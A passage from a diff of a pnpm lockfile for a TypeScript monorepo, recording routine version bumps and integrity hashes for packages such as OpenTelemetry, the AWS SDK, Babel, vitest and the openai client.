^0.38.41 + version: 0.38.41 dotenv: specifier: ^17.3.1 version: 17.3.1 @@ -113,8 +113,8 @@ importers: specifier: ^21.3.0 version: 21.3.0 grammy: - specifier: ^1.41.0 - version: 1.41.0 + specifier: ^1.41.1 + version: 1.41.1 https-proxy-agent: specifier: ^7.0.6 version: 7.0.6 @@ -198,8 +198,8 @@ importers: specifier: ^14.1.2 version: 14.1.2 '@types/node': - specifier: ^25.3.3 - version: 25.3.3 + specifier: ^25.3.5 + version: 25.3.5 '@types/qrcode-terminal': specifier: ^0.12.2 version: 0.12.2 @@ -207,11 +207,11 @@ importers: specifier: ^8.18.1 version: 8.18.1 '@typescript/native-preview': - specifier: 7.0.0-dev.20260301.1 - version: 7.0.0-dev.20260301.1 + specifier: 7.0.0-dev.20260307.1 + version: 7.0.0-dev.20260307.1 '@vitest/coverage-v8': specifier: ^4.0.18 - version: 4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18) + version: 4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18) jscpd: specifier: 4.0.8 version: 4.0.8 @@ -219,20 +219,20 @@ importers: specifier: ^3.3.2 version: 3.3.2 oxfmt: - specifier: 0.35.0 - version: 0.35.0 + specifier: 0.36.0 + version: 0.36.0 oxlint: - specifier: ^1.50.0 - version: 1.50.0(oxlint-tsgolint@0.15.0) + specifier: ^1.51.0 + version: 1.51.0(oxlint-tsgolint@0.16.0) oxlint-tsgolint: - specifier: ^0.15.0 - version: 0.15.0 + specifier: ^0.16.0 + version: 0.16.0 signal-utils: specifier: 0.21.1 version: 0.21.1(signal-polyfill@0.2.2) tsdown: - specifier: 0.21.0-beta.2 - version: 0.21.0-beta.2(@typescript/native-preview@7.0.0-dev.20260301.1)(typescript@5.9.3) + specifier: 0.21.0 + version: 0.21.0(@typescript/native-preview@7.0.0-dev.20260307.1)(typescript@5.9.3) tsx: specifier: ^4.21.0 version: 4.21.0 @@ -241,7 +241,7 @@ importers: version: 5.9.3 vitest: specifier: ^4.0.18 - version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) extensions/acpx: dependencies: @@ -263,32 +263,32 @@ importers: specifier: ^1.9.0 version: 1.9.0 '@opentelemetry/api-logs': - specifier: ^0.212.0 - version: 0.212.0 + specifier: ^0.213.0 + version: 0.213.0 '@opentelemetry/exporter-logs-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/exporter-metrics-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/exporter-trace-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/resources': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-logs': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-metrics': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-node': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-trace-base': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': specifier: ^1.40.0 version: 1.40.0 @@ -403,8 +403,8 @@ importers: specifier: 0.34.48 version: 0.34.48 openai: - specifier: ^6.25.0 - version: 6.25.0(ws@8.19.0)(zod@4.3.6) + specifier: ^6.27.0 + version: 6.27.0(ws@8.19.0)(zod@4.3.6) extensions/minimax-portal-auth: {} @@ -449,11 +449,11 @@ importers: extensions/tlon: dependencies: '@tloncorp/api': - specifier: git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87 - version: git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87 + specifier: github:tloncorp/api-beta#7eede1c1a756977b09f96aa14a92e2b06318ae87 + version: https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87 '@tloncorp/tlon-skill': - specifier: 0.1.9 - version: 0.1.9 + specifier: 0.2.2 + version: 0.2.2 '@urbit/aura': specifier: ^3.0.0 version: 3.0.0 @@ -544,8 +544,8 @@ importers: specifier: ^3.3.2 version: 3.3.2 marked: - specifier: ^17.0.3 - version: 17.0.3 + specifier: ^17.0.4 + version: 17.0.4 signal-polyfill: specifier: ^0.2.2 version: 0.2.2 @@ -554,17 +554,17 @@ importers: version: 0.21.1(signal-polyfill@0.2.2) vite: specifier: 7.3.1 - version: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) devDependencies: '@vitest/browser-playwright': specifier: 4.0.18 - version: 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + version: 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) playwright: specifier: ^1.58.2 version: 1.58.2 vitest: specifier: 4.0.18 - version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) packages: @@ -573,6 +573,11 @@ packages: peerDependencies: zod: ^3.25.0 || ^4.0.0 + '@agentclientprotocol/sdk@0.15.0': + resolution: {integrity: sha512-TH4utu23Ix8ec34srBHmDD4p3HI0cYleS1jN9lghRczPfhFlMBNrQgZWeBBe12DWy27L11eIrtciY2MXFSEiDg==} + peerDependencies: + zod: ^3.25.0 || ^4.0.0 + '@anthropic-ai/sdk@0.73.0': resolution: {integrity: sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw==} hasBin: true @@ -613,6 +618,10 @@ packages: resolution: {integrity: sha512-wGU8uJXrPW/hZuHdPNVe1kAFIBiKcslBcoDBN0eYBzS13um8p5jJiQJ9WsD1nSpKCmyx7qZXc6xjcbIQPyOrrA==} engines: {node: '>=20.0.0'} + '@aws-sdk/client-bedrock@3.1004.0': + resolution: {integrity: sha512-JbfZSV85IL+43S7rPBmeMbvoOYXs1wmrfbEpHkDBjkvbukRQWtoetiPAXNSKDfFq1qVsoq8sWPdoerDQwlUO8w==} + engines: {node: '>=20.0.0'} + '@aws-sdk/client-s3@3.1000.0': resolution: {integrity: sha512-7kPy33qNGq3NfwHC0412T6LDK1bp4+eiPzetX0sVd9cpTSXuQDKpoOFnB0Njj6uZjJDcLS3n2OeyarwwgkQ0Ow==} engines: {node: '>=20.0.0'} @@ -621,6 +630,10 @@ packages: resolution: {integrity: sha512-AlC0oQ1/mdJ8vCIqu524j5RB7M8i8E24bbkZmya1CuiQxkY7SdIZAyw7NDNMGaNINQFq/8oGRMX0HeOfCVsl/A==} engines: {node: '>=20.0.0'} + '@aws-sdk/core@3.973.18': + resolution: {integrity: sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/crc64-nvme@3.972.3': resolution: {integrity: sha512-UExeK+EFiq5LAcbHm96CQLSia+5pvpUVSAsVApscBzayb7/6dJBJKwV4/onsk4VbWSmqxDMcfuTD+pC4RxgZHg==} engines: {node: '>=20.0.0'} @@ -629,34 +642,66 @@ packages: resolution: {integrity: sha512-6ljXKIQ22WFKyIs1jbORIkGanySBHaPPTOI4OxACP5WXgbcR0nDYfqNJfXEGwCK7IzHdNbCSFsNKKs0qCexR8Q==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-env@3.972.16': + resolution: {integrity: sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.15': resolution: {integrity: sha512-dJuSTreu/T8f24SHDNTjd7eQ4rabr0TzPh2UTCwYexQtzG3nTDKm1e5eIdhiroTMDkPEJeY+WPkA6F9wod/20A==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.18': + resolution: {integrity: sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.13': resolution: {integrity: sha512-JKSoGb7XeabZLBJptpqoZIFbROUIS65NuQnEHGOpuT9GuuZwag2qciKANiDLFiYk4u8nSrJC9JIOnWKVvPVjeA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.17': + resolution: {integrity: sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.13': resolution: {integrity: sha512-RtYcrxdnJHKY8MFQGLltCURcjuMjnaQpAxPE6+/QEdDHHItMKZgabRe/KScX737F9vJMQsmJy9EmMOkCnoC1JQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.17': + resolution: {integrity: sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-node@3.972.14': resolution: {integrity: sha512-WqoC2aliIjQM/L3oFf6j+op/enT2i9Cc4UTxxMEKrJNECkq4/PlKE5BOjSYFcq6G9mz65EFbXJh7zOU4CvjSKQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-node@3.972.18': + resolution: {integrity: sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.13': resolution: {integrity: sha512-rsRG0LQA4VR+jnDyuqtXi2CePYSmfm5GNL9KxiW8DSe25YwJSr06W8TdUfONAC+rjsTI+aIH2rBGG5FjMeANrw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.16': + resolution: {integrity: sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.13': resolution: {integrity: sha512-fr0UU1wx8kNHDhTQBXioc/YviSW8iXuAxHvnH7eQUtn8F8o/FU3uu6EUMvAQgyvn7Ne5QFnC0Cj0BFlwCk+RFw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.17': + resolution: {integrity: sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.13': resolution: {integrity: sha512-a6iFMh1pgUH0TdcouBppLJUfPM7Yd3R9S1xFodPtCRoLqCz2RQFA3qjA8x4112PVYXEd4/pHX2eihapq39w0rA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.17': + resolution: {integrity: sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/eventstream-handler-node@3.972.9': resolution: {integrity: sha512-mKPiiVssgFDWkAXdEDh8+wpr2pFSX/fBn2onXXnrfIAYbdZhYb4WilKbZ3SJMUnQi+Y48jZMam5J0RrgARluaA==} engines: {node: '>=20.0.0'} @@ -681,6 +726,10 @@ packages: resolution: {integrity: sha512-5XHwjPH1lHB+1q4bfC7T8Z5zZrZXfaLcjSMwTd1HPSPrCmPFMbg3UQ5vgNWcVj0xoX4HWqTGkSf2byrjlnRg5w==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-host-header@3.972.7': + resolution: {integrity: sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-location-constraint@3.972.6': resolution: {integrity: sha512-XdZ2TLwyj3Am6kvUc67vquQvs6+D8npXvXgyEUJAdkUDx5oMFJKOqpK+UpJhVDsEL068WAJl2NEGzbSik7dGJQ==} engines: {node: '>=20.0.0'} @@ -689,10 +738,18 @@ packages: resolution: {integrity: sha512-iFnaMFMQdljAPrvsCVKYltPt2j40LQqukAbXvW7v0aL5I+1GO7bZ/W8m12WxW3gwyK5p5u1WlHg8TSAizC5cZw==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-logger@3.972.7': + resolution: {integrity: sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-recursion-detection@3.972.6': resolution: {integrity: sha512-dY4v3of5EEMvik6+UDwQ96KfUFDk8m1oZDdkSc5lwi4o7rFrjnv0A+yTV+gu230iybQZnKgDLg/rt2P3H+Vscw==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-recursion-detection@3.972.7': + resolution: {integrity: sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-sdk-s3@3.972.15': resolution: {integrity: sha512-WDLgssevOU5BFx1s8jA7jj6cE5HuImz28sy9jKOaVtz0AW1lYqSzotzdyiybFaBcQTs5zxXOb2pUfyMxgEKY3Q==} engines: {node: '>=20.0.0'} @@ -705,6 +762,10 @@ packages: resolution: {integrity: sha512-ABlFVcIMmuRAwBT+8q5abAxOr7WmaINirDJBnqGY5b5jSDo00UMlg/G4a0xoAgwm6oAECeJcwkvDlxDwKf58fQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-user-agent@3.972.19': + resolution: {integrity: sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-websocket@3.972.10': resolution: {integrity: sha512-uNqRpbL6djE+XXO4cQ+P8ra37cxNNBP+2IfkVOXu1xFdGMfW+uOTxBQuDPpP43i40PBRBXK5un79l/oYpbzYkA==} engines: {node: '>= 14.0.0'} @@ -713,10 +774,18 @@ packages: resolution: {integrity: sha512-AU5TY1V29xqwg/MxmA2odwysTez+ccFAhmfRJk+QZT5HNv90UTA9qKd1J9THlsQkvmH7HWTEV1lDNxkQO5PzNw==} engines: {node: '>=20.0.0'} + '@aws-sdk/nested-clients@3.996.7': + resolution: {integrity: sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/region-config-resolver@3.972.6': resolution: {integrity: sha512-Aa5PusHLXAqLTX1UKDvI3pHQJtIsF7Q+3turCHqfz/1F61/zDMWfbTC8evjhrrYVAtz9Vsv3SJ/waSUeu7B6gw==} engines: {node: '>=20.0.0'} + '@aws-sdk/region-config-resolver@3.972.7': + resolution: {integrity: sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/s3-request-presigner@3.1000.0': resolution: {integrity: sha512-DP6EbwCD0CKzBwBnT1X6STB5i+bY765CxjMbWCATDhCgOB343Q6AHM9c1S/300Uc5waXWtI/Wdeak9Ru56JOvg==} engines: {node: '>=20.0.0'} @@ -729,6 +798,10 @@ packages: resolution: {integrity: sha512-eOI+8WPtWpLdlYBGs8OCK3k5uIMUHVsNG3AFO4kaRaZcKReJ/2OO6+2O2Dd/3vTzM56kRjSKe7mBOCwa4PdYqg==} engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.1004.0': + resolution: {integrity: sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.999.0': resolution: {integrity: sha512-cx0hHUlgXULfykx4rdu/ciNAJaa3AL5xz3rieCz7NKJ68MJwlj3664Y8WR5MGgxfyYJBdamnkjNSx5Kekuc0cg==} engines: {node: '>=20.0.0'} @@ -737,6 +810,10 @@ packages: resolution: {integrity: sha512-RW60aH26Bsc016Y9B98hC0Plx6fK5P2v/iQYwMzrSjiDh1qRMUCP6KrXHYEHe3uFvKiOC93Z9zk4BJsUi6Tj1Q==} engines: {node: '>=20.0.0'} + '@aws-sdk/types@3.973.5': + resolution: {integrity: sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/util-arn-parser@3.972.2': resolution: {integrity: sha512-VkykWbqMjlSgBFDyrY3nOSqupMc6ivXuGmvci6Q3NnLq5kC+mKQe2QBZ4nrWRE/jqOxeFP2uYzLtwncYYcvQDg==} engines: {node: '>=20.0.0'} @@ -745,6 +822,10 @@ packages: resolution: {integrity: sha512-yWIQSNiCjykLL+ezN5A+DfBb1gfXTytBxm57e64lYmwxDHNmInYHRJYYRAGWG1o77vKEiWaw4ui28e3yb1k5aQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/util-endpoints@3.996.4': + resolution: {integrity: sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/util-format-url@3.972.6': resolution: {integrity: sha512-0YNVNgFyziCejXJx0rzxPiD2rkxTWco4c9wiMF6n37Tb9aQvIF8+t7GyEyIFCwQHZ0VMQaAl+nCZHOYz5I5EKw==} engines: {node: '>=20.0.0'} @@ -756,6 +837,9 @@ packages: '@aws-sdk/util-user-agent-browser@3.972.6': resolution: {integrity: sha512-Fwr/llD6GOrFgQnKaI2glhohdGuBDfHfora6iG9qsBBBR8xv1SdCSwbtf5CWlUdCw5X7g76G/9Hf0Inh0EmoxA==} + '@aws-sdk/util-user-agent-browser@3.972.7': + resolution: {integrity: sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw==} + '@aws-sdk/util-user-agent-node@3.973.0': resolution: {integrity: sha512-A9J2G4Nf236e9GpaC1JnA8wRn6u6GjnOXiTwBLA6NUJhlBTIGfrTy+K1IazmF8y+4OFdW3O5TZlhyspJMqiqjA==} engines: {node: '>=20.0.0'} @@ -765,6 +849,19 @@ packages: aws-crt: optional: true + '@aws-sdk/util-user-agent-node@3.973.4': + resolution: {integrity: sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q==} + engines: {node: '>=20.0.0'} + peerDependencies: + aws-crt: '>=1.0.0' + peerDependenciesMeta: + aws-crt: + optional: true + + '@aws-sdk/xml-builder@3.972.10': + resolution: {integrity: sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/xml-builder@3.972.8': resolution: {integrity: sha512-Ql8elcUdYCha83Ol7NznBsgN5GVZnv3vUd86fEc6waU6oUdY0T1O9NODkEEOS/Uaogr87avDrUC6DSeM4oXjZg==} engines: {node: '>=20.0.0'} @@ -793,8 +890,8 @@ packages: resolution: {integrity: sha512-CxUYSZgFiviUC3d8Hc+tT7uxre6QkPEWYEHWXmyEBzaO6tfFY4hs5KbXWU6s4q9Zv1NP/04qiR3mcujYLRuYuw==} engines: {node: '>=20'} - '@babel/generator@8.0.0-rc.1': - resolution: {integrity: sha512-3ypWOOiC4AYHKr8vYRVtWtWmyvcoItHtVqF8paFax+ydpmUdPsJpLBkBBs5ItmhdrwC3a0ZSqqFAdzls4ODP3w==} + '@babel/generator@8.0.0-rc.2': + resolution: {integrity: sha512-oCQ1IKPwkzCeJzAPb7Fv8rQ9k5+1sG8mf2uoHiMInPYvkRfrDJxbTIbH51U+jstlkghus0vAi3EBvkfvEsYNLQ==} engines: {node: ^20.19.0 || >=22.12.0} '@babel/helper-string-parser@7.27.1': @@ -809,8 +906,8 @@ packages: resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} engines: {node: '>=6.9.0'} - '@babel/helper-validator-identifier@8.0.0-rc.1': - resolution: {integrity: sha512-I4YnARytXC2RzkLNVnf5qFNFMzp679qZpmtw/V3Jt2uGnWiIxyJtaukjG7R8pSx8nG2NamICpGfljQsogj+FbQ==} + '@babel/helper-validator-identifier@8.0.0-rc.2': + resolution: {integrity: sha512-xExUBkuXWJjVuIbO7z6q7/BA9bgfJDEhVL0ggrggLMbg0IzCUWGT1hZGE8qUH7Il7/RD/a6cZ3AAFrrlp1LF/A==} engines: {node: ^20.19.0 || >=22.12.0} '@babel/parser@7.29.0': @@ -818,8 +915,8 @@ packages: engines: {node: '>=6.0.0'} hasBin: true - '@babel/parser@8.0.0-rc.1': - resolution: {integrity: sha512-6HyyU5l1yK/7h9Ki52i5h6mDAx4qJdiLQO4FdCyJNoB/gy3T3GGJdhQzzbZgvgZCugYBvwtQiWRt94QKedHnkA==} + '@babel/parser@8.0.0-rc.2': + resolution: {integrity: sha512-29AhEtcq4x8Dp3T72qvUMZHx0OMXCj4Jy/TEReQa+KWLln524Cj1fWb3QFi0l/xSpptQBR6y9RNEXuxpFvwiUQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true @@ -831,8 +928,8 @@ packages: resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} engines: {node: '>=6.9.0'} - '@babel/types@8.0.0-rc.1': - resolution: {integrity: sha512-ubmJ6TShyaD69VE9DQrlXcdkvJbmwWPB8qYj0H2kaJi29O7vJT9ajSdBd2W8CG34pwL9pYA74fi7RHC1qbLoVQ==} + '@babel/types@8.0.0-rc.2': + resolution: {integrity: sha512-91gAaWRznDwSX4E2tZ1YjBuIfnQVOFDCQ2r0Toby0gu4XEbyF623kXLMA8d4ZbCu+fINcrudkmEcwSUHgDDkNw==} engines: {node: ^20.19.0 || >=22.12.0} '@bcoe/v8-coverage@1.0.2': @@ -858,9 +955,15 @@ packages: '@clack/core@1.0.1': resolution: {integrity: sha512-WKeyK3NOBwDOzagPR5H08rFk9D/WuN705yEbuZvKqlkmoLM2woKtXb10OO2k1NoSU4SFG947i2/SCYh+2u5e4g==} + '@clack/core@1.1.0': + resolution: {integrity: sha512-SVcm4Dqm2ukn64/8Gub2wnlA5nS2iWJyCkdNHcvNHPIeBTGojpdJ+9cZKwLfmqy7irD4N5qLteSilJlE0WLAtA==} + '@clack/prompts@1.0.1': resolution: {integrity: sha512-/42G73JkuYdyWZ6m8d/CJtBrGl1Hegyc7Fy78m5Ob+jF85TOUmLR5XLce/U3LxYAw0kJ8CT5aI99RIvPHcGp/Q==} + '@clack/prompts@1.1.0': + resolution: {integrity: sha512-pkqbPGtohJAvm4Dphs2M8xE29ggupihHdy1x84HNojZuMtFsHiUlRvqD24tM2+XmI+61LlfNceM3Wr7U5QES5g==} + '@cloudflare/workers-types@4.20260120.0': resolution: {integrity: sha512-B8pueG+a5S+mdK3z8oKu1ShcxloZ7qWb68IEyLLaepvdryIbNC7JVPcY0bWsjS56UQVKc5fnyRge3yZIwc9bxw==} @@ -1830,166 +1933,166 @@ packages: resolution: {integrity: sha512-da6KbdNCV5sr1/txD896V+6W0iamFWrvVl8cHkBSPT+YlvmT3DwXa4jxZnQc+gnuTEqSWbBeoSZYTayXH9wXcw==} engines: {node: '>= 20'} - '@opentelemetry/api-logs@0.212.0': - resolution: {integrity: sha512-TEEVrLbNROUkYY51sBJGk7lO/OLjuepch8+hmpM6ffMJQ2z/KVCjdHuCFX6fJj8OkJP2zckPjrJzQtXU3IAsFg==} + '@opentelemetry/api-logs@0.213.0': + resolution: {integrity: sha512-zRM5/Qj6G84Ej3F1yt33xBVY/3tnMxtL1fiDIxYbDWYaZ/eudVw3/PBiZ8G7JwUxXxjW8gU4g6LnOyfGKYHYgw==} engines: {node: '>=8.0.0'} '@opentelemetry/api@1.9.0': resolution: {integrity: sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==} engines: {node: '>=8.0.0'} - '@opentelemetry/configuration@0.212.0': - resolution: {integrity: sha512-D8sAY6RbqMa1W8lCeiaSL2eMCW2MF87QI3y+I6DQE1j+5GrDMwiKPLdzpa/2/+Zl9v1//74LmooCTCJBvWR8Iw==} + '@opentelemetry/configuration@0.213.0': + resolution: {integrity: sha512-MfVgZiUuwL1d3bPPvXcEkVHGTGNUGoqGK97lfwBuRoKttcVGGqDyxTCCVa5MGbirtBQkUTysXMBUVWPaq7zbWw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.9.0 - '@opentelemetry/context-async-hooks@2.5.1': - resolution: {integrity: sha512-MHbu8XxCHcBn6RwvCt2Vpn1WnLMNECfNKYB14LI5XypcgH4IE0/DiVifVR9tAkwPMyLXN8dOoPJfya3IryLQVw==} + '@opentelemetry/context-async-hooks@2.6.0': + resolution: {integrity: sha512-L8UyDwqpTcbkIK5cgwDRDYDoEhQoj8wp8BwsO19w3LB1Z41yEQm2VJyNfAi9DrLP/YTqXqWpKHyZfR9/tFYo1Q==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/core@2.5.1': - resolution: {integrity: sha512-Dwlc+3HAZqpgTYq0MUyZABjFkcrKTePwuiFVLjahGD8cx3enqihmpAmdgNFO1R4m/sIe5afjJrA25Prqy4NXlA==} + '@opentelemetry/core@2.6.0': + resolution: {integrity: sha512-HLM1v2cbZ4TgYN6KEOj+Bbj8rAKriOdkF9Ed3tG25FoprSiQl7kYc+RRT6fUZGOvx0oMi5U67GoFdT+XUn8zEg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/exporter-logs-otlp-grpc@0.212.0': - resolution: {integrity: sha512-/0bk6fQG+eSFZ4L6NlckGTgUous/ib5+OVdg0x4OdwYeHzV3lTEo3it1HgnPY6UKpmX7ki+hJvxjsOql8rCeZA==} + 